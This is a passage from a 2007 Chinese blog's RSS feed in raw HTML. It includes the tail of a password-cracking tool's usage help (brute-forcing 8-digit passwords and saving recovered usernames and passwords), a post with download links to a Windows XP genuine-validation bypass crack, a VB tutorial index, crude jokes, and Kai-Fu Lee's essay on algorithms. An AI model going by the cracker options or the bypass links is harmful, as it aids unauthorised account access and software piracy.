auto"&gt;&lt;br&gt;&lt;font color="#800000"&gt;-o &amp;lt;outfile&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体" color="#800000"&gt;存放最后得到的密码和用户名&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;&lt;br&gt;&lt;font color="#800000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;font color="#800000"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;如果没有&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;,&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;输出到屏幕&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;&lt;br&gt;&lt;font color="#800000"&gt;-b [num]|[char]&lt;/font&gt;&lt;/span&gt;&lt;font color="#800000"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;暴力破解&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;,num&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;代表&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;8&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;位数字破解&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;,char&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;代表&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;8&lt;/span&gt;&lt;font face="宋体"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;位字符破解&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span&gt;&lt;font face="Times New Roman"&gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=56</guid><pubDate>Sat, 12 May 2007 08:06:00 GMT</pubDate></item><item><title>[VB]vb神童教程详细目录</title><link>http://www.chendw.cn:8080/view.aspx?id=54</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div class="tit"&gt;&lt;/div&gt;&lt;table style="TABLE-LAYOUT: fixed"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td&gt;&lt;div class="cnt"&gt;&lt;p class="content"&gt;&lt;span class="content"&gt;&lt;strong&gt;VB的故事&lt;/strong&gt;&lt;br&gt;话说二十世纪七十年代有一对好朋友，一个叫比尔（Bill），一个叫鲍尔（Paul）。他们经常在一起玩游戏。起初是玩别人的游戏，但玩来玩去觉得不过瘾，于是发明了一种语言，叫做Basic ，自己来编写游戏。 &lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;碰巧的是，个人电脑在此时飞速发展起来，很多厂家对这种语言很感兴趣，于是这对朋友商量着成立一个公司专门出售Basic。&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;讲到这里，大家一定猜到他们是谁了吧？&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;没错，这个Bill就是比尔盖茨，这个公司就是微软；鲍尔（Paul Allen）后来虽然离开了微软，但同样组建了自己的实业公司。&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;Basic正是微软公司售出的第一套软件。Basic 发展到今天已经有很多版本，如 GW-Basic 、QuickBasic 、QBasic 、Visual Basic ，等等，其中，Visual Basic 是最容易学习与应用的程序语言之一。虽然最容易学习与使用，但它的功能却非常强大，很多应用程序都是用它编写出来的。&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;不是个个都能成为比尔盖茨，但你想知道天天使用的Windows的诸多功能是如何实现的吗？你想要编写自己的应用程序吗？那么，请跟我来吧，进入我们的VB神童教程之旅。&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;&lt;strong&gt;学习思路&lt;br&gt;&lt;/strong&gt;曾经下过很多决心自学VB。但每次看到一行行枯燥的程序代码眼皮不自觉地就要打架。后来几乎是“头悬梁，锥刺股”才得入门。现在想来，这种入门大可不必。严谨求实的态度是非常正确的，但既然面对初学者，也许换一种思路更贴切。少一些隐晦，多一些直观；少一些专业术语，多一些例子。&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;传统的教程，多从VB的发展谈起，然后是什么编程环境、数据类型、变量、常量、函数，等等。我们可不可以换一种思路，让大家直接就可以编写出简单的应用程序，在熟悉了大部分操作并激发出了兴趣后，再去探讨一些比较抽象的东西呢？&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;结果就有了我们的《VB神童教程》。&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;在这个教程中，我们既是讲述者，也是跟大家一样的初学者，我们按着一种比较容易的方式来共同学习。&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;span class="content"&gt;&lt;strong&gt;课程安排&lt;br&gt;&lt;/strong&gt;我们以最为普及的 VB 6.0 为例进行教程学习，循序渐进，保证你轻松掌握。&lt;/span&gt;&lt;/p&gt;        &lt;p class="content"&gt;第一章：&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/04/17/134_8610.html"&gt;&lt;font color="#0000ff"&gt;我的第一个 VB 程序——“跟我来学 VB 神童教程”&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;第二章：控件学习&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/04/18/134_8620.html"&gt;&lt;font color="#0000ff"&gt;第一节——Label 控件&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/04/22/134_8627.html"&gt;第二节——TextBox控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/04/23/134_8636.html"&gt;第三节——综合示例一&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/04/24/134_8645.html"&gt;第四节——CommandButton 控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/04/25/134_8649.html"&gt;第五节——单选与复选控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/04/29/134_8669.html"&gt;第六节——综合示例二&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/04/30/134_8671.html"&gt;第七节——列表框控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/06/134_8686.html"&gt;第八节——组合框控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/07/134_8694.html"&gt;第九节——综合示例三&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/08/134_8703.html"&gt;第十节——综合示例四&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/09/134_8711.html"&gt;第十一节——滚动条&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/12/134_8726.html"&gt;第十二节——综合示例五&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/13/134_8736.html"&gt;第十三节——Timer 控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/14/134_8743.html"&gt;第十四节——文件操作控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/15/134_8751.html"&gt;第十五节——窗体&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;第三章：用 Visual Basic 绘画：&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/16/134_8758.html"&gt;第一节——图形框与图像框控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/19/134_8764.html"&gt;第二节——综合示例六&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/20/134_8773.html"&gt;第三节——直线与形状控件&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/21/134_8781.html"&gt;第四节——常用的绘图方法&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;第四章：菜单与多文档界面的制作：&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/22/134_8788.html"&gt;第一节——菜单界面设计&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/23/134_8796.html"&gt;第二节——综合示例七&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/26/134_8804.html"&gt;第三节——动态增减菜单&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/27/134_8812.html"&gt;第四节——基本的窗体操作&lt;/a&gt;&lt;/p&gt;        &lt;p class="content"&gt;&lt;a target="_blank" href="http://www.ccidnet.com/school/software//2003/05/28/134_8820.html"&gt;第五节——多文档程序&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=54</guid><pubDate>Fri, 11 May 2007 07:05:00 GMT</pubDate></item><item><title>2007年将要流行的9大名言</title><link>http://www.chendw.cn:8080/view.aspx?id=53</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;font color="#ffcc00"&gt;2007年将要流行的9大名言：&amp;nbsp;&amp;nbsp;&lt;br&gt;1、鸟大了，什么林子都有&amp;nbsp;&amp;nbsp;&lt;br&gt;2、春色满园关不住，我诱红杏出墙来&amp;nbsp;&amp;nbsp;&lt;br&gt;3、别人都在假装正经，那我就假装不正经吧&amp;nbsp;&amp;nbsp;&lt;br&gt;4、流氓不可怕，就怕流氓有文化&amp;nbsp;&amp;nbsp;&lt;br&gt;5、开车无难事，只怕有新人&amp;nbsp;&amp;nbsp;&lt;br&gt;6、"客官请自重！小女子只卖身、不卖艺。"&amp;nbsp;&amp;nbsp;&lt;br&gt;7、你不能让所有人满意。因为，不是所有的人都是人。&amp;nbsp;&amp;nbsp;&lt;br&gt;8、男人的谎言能骗女人一夜；女人的谎言能骗男人一生。&amp;nbsp;&amp;nbsp;&lt;br&gt;9、水能载舟，亦能煮粥。&lt;/font&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=53</guid><pubDate>Thu, 10 May 2007 04:35:00 GMT</pubDate></item><item><title>[破解]Windows XP 正版验证补丁V3</title><link>http://www.chendw.cn:8080/view.aspx?id=51</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;Windows XP 正版验证补丁V3&lt;/p&gt;&lt;p&gt;&lt;img height="383" width="496" border="0" src="http://dx.3800hk.com/Soft/UploadSoftPic/200705/20070509192921781.jpg"&gt;&lt;/p&gt;&lt;p&gt;安装了微软的反盗版补丁，可使用这个补丁，达到能正常使用&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#800080"&gt;自动&lt;/font&gt;&lt;/a&gt;更新的效果&lt;/p&gt;&lt;p&gt;如果有下载地址失效，请使用其它几个。&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" thunderpid="03253" thunderhref="thunder://QUFodHRwOi8vc29mdDMuMzgwMGNjLmNvbS8yMDA3MDUvMDcwNTEwZmRiYmQucmFyWlo=" href="http://dx.3800hk.com/Soft/zhly/17548.html#"&gt;&lt;font color="#800080"&gt;点击下载=&amp;gt;[迅雷专用]&lt;/font&gt;&lt;/a&gt;&lt;br&gt;&lt;a target="_blank" href="http://soft3.3800cc.com/200705/070510fdbbd.rar"&gt;点击下载=&amp;gt;[山东电信]&lt;/a&gt;&lt;br&gt;&lt;a target="_blank" href="http://soft4.3800cc.com/200705/070510fdbbd.rar"&gt;点击下载=&amp;gt;[山东网通]&lt;/a&gt;&lt;br&gt;&lt;a target="_blank" href="http://soft2.3800cc.com/200705/070510fdbbd.rar"&gt;&lt;font color="#800080"&gt;点击下载=&amp;gt;[浙江电信]&lt;/font&gt;&lt;/a&gt;&lt;br&gt;&lt;a target="_blank" href="http://softwt.3800hk.com/down1/200705/070510fdbbd.rar"&gt;点击下载=&amp;gt;[河南网通]&lt;/a&gt;&lt;br&gt;&lt;a target="_blank" href="http://soft.3800hk.com/down1/200705/070510fdbbd.rar"&gt;点击下载=&amp;gt;[河南电信]&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=51</guid><pubDate>Thu, 10 May 2007 01:10:00 GMT</pubDate></item><item><title>李开复：算法的力量</title><link>http://www.chendw.cn:8080/view.aspx?id=50</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;table width="72%" bgcolor="#ffffff" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td align="left" width="97%"&gt;&lt;table class="wr" cellspacing="0" cellpadding="0" border="0"&gt;        &lt;tbody&gt;            &lt;tr&gt;                &lt;td class="gray14"&gt;&lt;font color="#993300"&gt;算法是计算机科学领域最重要的基石之一，但却受到了国内一些程序员的冷落。许多学生看到一些公司在招聘时要求的编程语言五花八门就产生了一种误解，认为学计算机就是学各种编程语言，或者认为，学习最新的语言、技术、标准就是最好的铺路方法。其实大家都被这些公司误导了。编程语言虽然该学，但是学习计算机算法和理论更重要，因为计算机算法和理论更重要，因为计算机语言和开发平台日新月异，但万变不离其宗的是那些算法和理论，例如数据结构、算法、编译原理、计算机体系结构、关系型数据库原理等等。在“开复学生网”上，有位同学生动地把这些基础课程比拟为“内功”，把新的语言、技术、标准比拟为“外功”。整天赶时髦的人最后只懂得招式，没有功力，是不可能成为高手的。&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;算法与我 &lt;br&gt;&lt;br&gt;当我在1980年转入计算机科学系时，还没有多少人的专业方向是计算机科学。有许多其他系的人嘲笑我们说：“知道为什么只有你们系要加一个‘科学 ’，而没有‘物理科学系’或‘化学科学系’吗？因为人家是真的科学，不需要画蛇添足，而你们自己心虚，生怕不‘科学’，才这样欲盖弥彰。”其实，这点他们彻底弄错了。真正学懂计算机的人（不只是“编程匠”）都对数学有相当的造诣，既能用科学家的严谨思维来求证，也能用工程师的务实手段来解决问题——而这种思维和手段的最佳演绎就是“算法”。 &lt;br&gt;&lt;br&gt;记得我读博时写的Othello对弈软件获得了世界冠军。当时，得第二名的人认为我是靠侥幸才打赢他，不服气地问我的程序平均每秒能搜索多少步棋，当他发现我的软件在搜索效率上比他快60多倍时，才彻底服输。为什么在同样的机器上，我可以多做60倍的工作呢？这是因为我用了一个最新的算法，能够把一个指数函数转换成四个近似的表，只要用常数时间就可得到近似的答案。在这个例子中，是否用对算法才是能否赢得世界冠军的关键。 &lt;br&gt;&lt;br&gt;还记得1988年贝尔实验室副总裁亲自来访问我的学校，目的就是为了想了解为什么他们的语音识别系统比我开发的慢几十倍，而且，在扩大至大词汇系统后，速度差异更有几百倍之多。他们虽然买了几台超级计算机，勉强让系统跑了起来，但这么贵的计算资源让他们的产品部门很反感，因为“昂贵”的技术是没有应用前景的。在与他们探讨的过程中，我惊讶地发现一个O(n*m)的动态规划(dynamic programming)居然被他们做成了O (n*n*m)。更惊讶的是，他们还为此发表了不少文章，甚至为自己的算法起了一个很特别的名字，并将算法提名到一个科学会议里，希望能得到大奖。当时，贝尔实验室的研究员当然绝顶聪明，但他们全都是学数学、物理或电机出身，从未学过计算机科学或算法，才犯了这么 &lt;br&gt;&lt;br&gt;基本的错误。我想那些人以后再也不会嘲笑学计算机科学的人了吧！ &lt;br&gt;&lt;br&gt;&lt;br&gt;网络时代的算法 &lt;br&gt;&lt;br&gt;有人也许会说：“今天计算机这么快，算法还重要吗？”其实永远不会有太快的计算机，因为我们总会想出新的应用。虽然在摩尔定律的作用下，计算机的计算能力每年都在飞快增长，价格也在不断下降。可 &lt;br&gt;&lt;br&gt;我们不要忘记，需要处理的信息量更是呈指数级的增长。现在每人每天都会创造出大量数据（照片，视频，语音，文本等等）。日益先进的纪录和存储手段使我们每个人的信息量都在爆炸式的增长。互联网的信息流量和日志容量也在飞快增长。在科学研究方面，随着研究手段的进步，数据量更是达到了前所未有的程度。无论是三维图形、海量数据处理、机器学习、语音识别，都需要极大的计算量。在网络时代，越来越多的挑战需要靠卓越的算法来解决。 &lt;br&gt;&lt;br&gt;再举另一个网络时代的例子。在互联网和手机搜索，如果要找附近的咖啡店，那么搜索引擎该怎么处理这个请求呢？最简单的办法就是把整个城市的咖啡馆都找出来，然后计算出它们的所在位置与你之间的 &lt;br&gt;&lt;br&gt;距离，再进行排序，然后返回最近的结果。但该如何计算距离呢？图论里有不少算法可以解决这个问题。 &lt;br&gt;&lt;/font&gt;&lt;/td&gt;            &lt;/tr&gt;        &lt;/tbody&gt;    &lt;/table&gt;&lt;font color="#993300"&gt;这么做也许是最直观的，但绝对不是最迅速的。如果一个城市只有为数不多的咖啡馆，那么这么做应该没什么问题，反正计算量不大。但如果一个城市里有很多咖啡馆，又有很多用户都需要类似的搜索，那么服务器所承受的压力就大多了。在这种情况下，我们该怎样优化算法呢？ &lt;br&gt;&lt;br&gt;首先，我们可以把整个城市的咖啡馆做一次“预处理”。比如，把一个城市分成若干个“格子(grid)”，然后根据用户所在的位置把他放到某一个格子里，只对格子里的咖啡馆进行距离排序。 &lt;br&gt;&lt;br&gt;问题又来了，如果格子大小一样，那么绝大多数结果都可能出现在市中心的一个格子里，而郊区的格子里只有极少的结果。在这种情况下，我们应该把市中心多分出几个格子。更进一步，格子应该是一个“树结构”，最顶层是一个大格——整个城市，然后逐层下降，格子越来越小，这样有利于用户进行精确搜索——如果在最底层的格子里搜索结果不多，用户可以逐级上升，放大搜索范围。 &lt;br&gt;&lt;br&gt;上述算法对咖啡馆的例子很实用，但是它具有通用性吗？答案是否定的。把咖啡馆抽象一下，它是一个“点”，如果要搜索一个“面”该怎么办呢？比如，用户想去一个水库玩，而一个水库有好几个入口，那么 &lt;br&gt;&lt;br&gt;哪一个离用户最近呢？这个时候，上述“树结构”就要改成“r-tree”，因为树中间的每一个节点都是一个范围，一个有边界的范围（参考:&lt;/font&gt;&lt;a href="http://www.cs.umd.edu/~hjs/rtrees/index.html" target="_blank"&gt;&lt;font color="#993300"&gt;http://www.cs.umd.edu/~hjs/rtrees/index.html&lt;/font&gt;&lt;/a&gt;&lt;font color="#993300"&gt;）。 &lt;br&gt;&lt;br&gt;通过这个小例子，我们看到，应用程序的要求千变万化，很多时候需要把一个复杂的问题分解成若干简单的小问题，然后再选用合适的算法和数据结构。 &lt;br&gt;&lt;br&gt;&lt;br&gt;并行算法：Google的核心优势 &lt;br&gt;&lt;br&gt;上面的例子在Google里就要算是小case了！每天Google的网站要处理十亿个以上的搜索，GMail要储存几千万用户的2G邮箱， Google Earth要让数十万用户同时在整个地球上遨游，并将合适的图片经过互 &lt;br&gt;&lt;br&gt;联网提交给每个用户。如果没有好的算法，这些应用都无法成为现实。 &lt;br&gt;&lt;br&gt;在这些的应用中，哪怕是最基本的问题都会给传统的计算带来很大的挑战。例如，每天都有十亿以上的用户访问Google的网站，使用Google的服务，也产生很多很多的日志(Log)。因为Log每份每秒都在飞速 &lt;br&gt;&lt;br&gt;增加，我们必须有聪明的办法来进行处理。我曾经在面试中问过关于如何对Log进行一些分析处理的问题，有很多面试者的回答虽然在逻辑上正确，但是实际应用中是几乎不可行的。按照它们的算法，即便用上几万台机器，我们的处理速度都根不上数据产生的速度。 &lt;br&gt;&lt;br&gt;那么Google是如何解决这些问题的？ &lt;br&gt;&lt;br&gt;首先，在网络时代，就算有最好的算法，也要能在并行计算的环境下执行。在Google的数据中心，我们使用的是超大的并行计算机。但传统的并行算法运行时，效率会在增加机器数量后迅速降低，也就是说，十台机器如果有五倍的效果，增加到一千台时也许就只有几十倍的效果。这种事半功倍的代价是没有哪家公司可以负担得起的。而且，在许多并行算法中，只要一个结点犯错误，所有计算都会前功尽弃。 &lt;br&gt;&lt;br&gt;那么Google是如何开发出既有效率又能容错的并行计算的呢？ &lt;br&gt;&lt;br&gt;Google最资深的计算机科学家Jeff Dean认识到，Google所需的绝大部分数据处理都可以归结为一个简单的并行算法：Map and Reduce（&lt;/font&gt;&lt;a href="http://labs.google.com/papers/mapreduce.html" target="_blank"&gt;&lt;font color="#993300"&gt;http://labs.google.com/papers/mapreduce.html&lt;/font&gt;&lt;/a&gt;&lt;font color="#993300"&gt;）。这个算法能够在很 &lt;br&gt;&lt;br&gt;多种计算中达到相当高的效率，而且是可扩展的（也就是说，一千台机器就算不能达到一千倍的效果，至少也可以达到几百倍的效果）。 Map and Reduce的另外一大特色是它可以利用大批廉价的机器组成 &lt;br&gt;&lt;br&gt;功能强大的server farm。最后，它的容错性能异常出色，就算一个 server farm宕掉一半，整个fram依然能够运行。正是因为这个天才的认识，才有了Map and Reduce算法。借助该算法， Google几乎能无限 &lt;br&gt;&lt;br&gt;地增加计算量，与日新月异的互联网应用一同成长。 &lt;br&gt;&lt;br&gt;&lt;br&gt;算法并不局限于计算机和网络 &lt;br&gt;&lt;br&gt;举一个计算机领域外的例子：在高能物理研究方面，很多实验每秒钟都能产生几个TB的数据量。但因为处理能力和存储能力的不足，科学家不得不把绝大部分未经处理的数据丢弃掉。可大家要知道，新元素的息很有可能就藏在我们来不及处理的数据里面。同样的，在其他任何领域里，算法可以改变人类的生活。例如人类基因的研究，就可能因为算法而发明新的医疗方式。在国家安全领域，有效的算法可能避免下一个911的发生。在气象方面，算法可以更好地预测未来天灾的发生，以拯救生命。 &lt;br&gt;&lt;br&gt;所以，如果你把计算机的发展放到应用和数据飞速增长的大环境下，你一定会发现；算法的重要性不是在日益减小，而是在日益加强。 &lt;br&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;    &lt;td height="17"&gt;&lt;font color="#993300"&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=50</guid><pubDate>Wed, 09 May 2007 03:25:00 GMT</pubDate></item><item><title>[精品软件系列]AI RoboForm 软件介绍[2007年10月24日17:39:24更新已经可下载]</title><link>http://www.chendw.cn:8080/view.aspx?id=49</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;table cellspacing="0" cellpadding="0" border="0" class="wr"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td class="gray14"&gt;&lt;p&gt;&lt;cc&gt;&lt;/cc&gt;AI RoboForm 是一款 Siber System 公司开发的 网页智能填表软件。 &lt;br&gt;&lt;br&gt;&lt;br&gt;【 1 】 AI RoboForm 的名称是什么意思？ &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AI RoboForm 中的 “AI” 表示“人工智能”，取自英语“Artificial Intelligence”各字母的首字符。 “RoboForm”是 Robot Form 的合成词，表示机器化，自动化填表。 &lt;br&gt;&lt;br&gt;&lt;br&gt;【 2 】AI RoboForm 的功能是什么？ &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AI RoboForm 功能主要是针对各中网页表单（Form）的填写而设计的。并具有人工智能。它同时可以管理你在各个网站上的用户名和密码（论坛，BBS，Web EMAIL信箱登录帐号，甚至 在线银行的帐号）。你无需记忆，当浏览器到达曾经记忆过网页表单信息的网址，这些帐号和密码信息你只要用鼠标一点（如果在 AI RoboForm 程序中设置好了，甚至会自动填写）就可以实现“一键上网”。对于密码的安全性方面，这个软件也做到了最强的加密算法（RSA，DES加密等等），保证明你的信息的万无一失。而且最近，又有了一种便携式的 AI RoboForm 版本 － “ Portable RoboForm”，能将您的个人资料完完全全的存放到您自己的 USB 设备上，像在线网上银行提供的 USB-Key 一样，实现可移动，安全的个人网页信息资料的存贮。在网吧，学校，图书馆等公共电脑上也同样能够使用，而且不留一丝痕迹。总结一下以上提到的功能： &lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 自动保存浏览器中密码信息.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 自动填充登录表单的密码信息.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 自动登录到在线帐户.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 填写个人信息到在线表单.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 保存脱机密码 &amp;amp; 标注.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 生成安全的随机密码.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 使用 3-DES 加密您的密码和个人数据.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 所有的个人信息只安全地保存在您的计算机中.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 把密码放在 USB 存贮设备上以获得更大的安全保障.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 同步保存你的密码和标注到Palm或Pocket PC上.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 备份和恢复, 打印您的密码.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 方便的表单信息交换功能. &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; 更多的功能: 等待您的探索.&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;具体举两个例子来说： &lt;br&gt;&lt;br&gt;『例子一』 &lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 